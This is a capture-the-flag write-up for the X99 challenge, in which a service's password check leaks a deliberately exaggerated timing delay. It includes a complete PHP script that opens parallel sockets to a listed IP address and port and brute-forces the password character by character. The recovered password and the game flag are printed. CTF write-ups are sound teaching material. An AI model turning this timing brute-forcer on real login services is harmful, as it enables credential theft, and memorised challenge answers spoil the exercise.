IFSF CTF #7 (X99) Write-up

this is one of their machines which have very sensitive informations ,
try to get for us the password

208.64.122.27
PORT : 3000

X99 carries a synthetic vulnerability that allows a char-by-char password bruteforce.

The setup

The service gives us an auth request upon connection:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 _    _  99   _________   ______   ______  _    _  _____  ______   ______
\ \  / /     | | | | | \ | |  | | | |     | |  | |  | |  | |  \ \ | |
 >|--|<      | | | | | | | |__| | | |     | |--| |  | |  | |  | | | |----
/_/  \_\     |_| |_| |_| |_|  |_| |_|____ |_|  |_| _|_|_ |_|  |_| |_|____
 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 
Authentication Required
Password : pass
 
Authentication Failed ....
Password : _

The time

The thing that can be noticed, is that it hangs for a while when supplied password starts with ‘w‘:

Authentication Required
Password : hello
 
Authentication Failed ....
Password : world
   *** 5 seconds pass.. ***
Authentication Failed ....

Turns out it is a synthetic time-based side channel analogue, with overboosted time delays.
Each matching password letter increases the delay by 5 seconds.

The exploit

The correct password can be found via bruteforcing password letter-by-letter, and here is a script for that:

<?php
function new_socket() {
  $sock = fsockopen("208.64.122.27", 3000);
  while (trim(fgets($sock)) != 'Authentication Required');
  fread($sock, 11);  // Skip 'Password : '
  return $sock;
}
 
$charset = str_split("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-.");
$sockets = $times = array();
$guessed = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';  // can resume session if anything goes wrong
 
while (true) {
  echo "Guessed '$guessed'\n";
 
  echo "    Creating sockets";
  foreach ($charset as $letter) {
    $sockets[$letter] = new_socket();
    echo ".";
  }
  echo "\n";
 
  echo "   Writing passwords";
  foreach ($sockets as $letter => $sock) {
    fwrite($sock, $guessed . $letter);
    echo ".";
  }
  echo "\n";
 
  echo "        Writing \\n's";
  foreach ($sockets as $letter => $sock) {
    fwrite($sock, "\n");
    $times[$letter] = microtime(true);
    echo ".";
    stream_set_blocking($sock, false);  // Turning off blocking for read attempts
  }
  echo "\n";
 
  echo "Waiting for response";
  while (!empty($sockets)) {
    foreach ($sockets as $letter => $sock) {
      $c = fgetc($sock);
      if ($c !== false) {
        $times[$letter] = microtime(true) - $times[$letter];
        fclose($sock);
        unset($sockets[$letter]);
        echo '.';
      }
    }
    usleep(10000);
  }
  echo "\n\n";
 
  echo "===== Response times\n";
  $nextLetter = false;
  foreach ($times as $letter => $time) {
    if ($time > 5 * (strlen($guessed) + 1)) {
      $nextLetter = $letter;
      echo "*$letter* - " . round($time) . "\t";
    } else {
      echo "$letter - " . round($time) . "\t";
    }
  }
  echo "\n\n";
 
  if ($nextLetter === false) {
    break;
  } else {
    $guessed .= $nextLetter;
  }
 
}
 
echo "\nWork done!\nPassword is: $guessed\n";
?>

The script utilizes multiple connections to target server so it doesn’t have to wait 5*N seconds for each letter from charset, instead all the charset is tried simultaneously.

Let’s run it:

F:\>d:\php\php_fast.cmd x99.php
Guessed ''
..............
..............
*** approx. 30 mins later ***
..............
Work done!
Password is: w3_0wn_7h15_f0r_r34L

Password: w3_0wn_7h15_f0r_r34L

The flag

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 _    _  99   _________   ______   ______  _    _  _____  ______   ______
\ \  / /     | | | | | \ | |  | | | |     | |  | |  | |  | |  \ \ | |
 >|--|<      | | | | | | | |__| | | |     | |--| |  | |  | |  | | | |----
/_/  \_\     |_| |_| |_| |_|  |_| |_|____ |_|  |_| _|_|_ |_|  |_| |_|____
 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 
Authentication Required
Password : w3_0wn_7h15_f0r_r34L
 
 
 
 
                 +-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-
 
                Game Flag : 0xFEFERKJ8389743GH79G6D368GT093
 
                 +-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-

Flag: 0xFEFERKJ8389743GH79G6D368GT093

Leave a Reply

Your email address will not be published.